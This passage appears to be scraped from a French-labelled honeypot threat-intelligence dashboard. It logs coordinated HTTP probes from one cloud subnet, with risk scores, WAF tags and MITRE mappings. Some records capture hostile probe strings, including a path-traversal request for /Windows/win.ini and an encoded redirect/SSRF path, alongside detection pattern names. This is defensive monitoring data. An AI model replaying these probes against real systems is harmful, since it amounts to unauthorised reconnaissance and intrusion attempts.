"target_port_label": "8111 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8111,
"protocol_emulated": true,
"tags_summary": [
"pat-0715",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"pat-0715",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8111,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"target_port_label": "8111 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8111"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 5,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:58 UTC
TCP
8009 · HTTP
Scan de ports
port scan syn · via HTTP:8009 · (reconnaissance)
Élevée
Moyen · 54
Détails
Voir
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8009
Chemin / cible
/
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8009
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8009 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "c6541a35e90bbf49732b5425fcba7b96d2956c62",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.40264011953198,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8009,
"risk_waf": 72,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.2,
"risk_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 54,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "e5e7d1fde4f1d90d23a82d2cebcec1dc2659a8a8",
"event_fingerprint": "e2e50ec6b84c4699fc85a2c811b0def81cf1a2a4",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "6accc7df10e92e4a630013bef6f644a9",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8009,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "90e05568a17a8bcfc9f7bc5851feefab7d25a862",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8009,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port scan syn \u00b7 via HTTP:8009 \u00b7 (reconnaissance)",
"target_port_label": "8009 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 10
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8009,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8009,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8009 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8009\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8009 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8009"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:21 UTC
TCP
8040 · HTTP
SSRF interne
ssrf internal · via HTTP:8040 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8040
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 53
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8040
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8040 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "536ef780c53aff4571829d7569317b48bd3c681f",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.352983936157643,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8040,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 3.2,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 53,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "0230c466a95c1b77f2132c60e1f0bd624096aa92",
"event_fingerprint": "6b48df12f748b1fa3e8f3ce127735f04dd41e370",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "27bc2bccf5c9138c3bbe6b96e8876d65",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8040,
"service": "http",
"service_name": "http",
"risk_score": 53
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "28bb29e05e6bee81c3d401fc10c1581106b0e947",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8040,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8040 \u00b7 (tentative d'exploit)",
"target_port_label": "8040 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8040,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8040,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8040 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8040\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8040 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8040"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:09 UTC
TCP
9000 · HTTP
SSRF interne
ssrf internal · via HTTP:9000 · (tentative d'exploit) · → /%5cgoogle.com/4af206ebd4.html
Élevée
Moyen · 57
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /%5cgoogle.com/4af206ebd4.html UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/%5cgoogle.com/4af206ebd4.html
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9000
Chemin / cible
/%5cgoogle.com/4af206ebd4.html
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 57
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /%5cgoogle.com/4af206ebd4.html HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:9000
Accept: */*
User-Agent: Mozi
Requête brute (extrait)
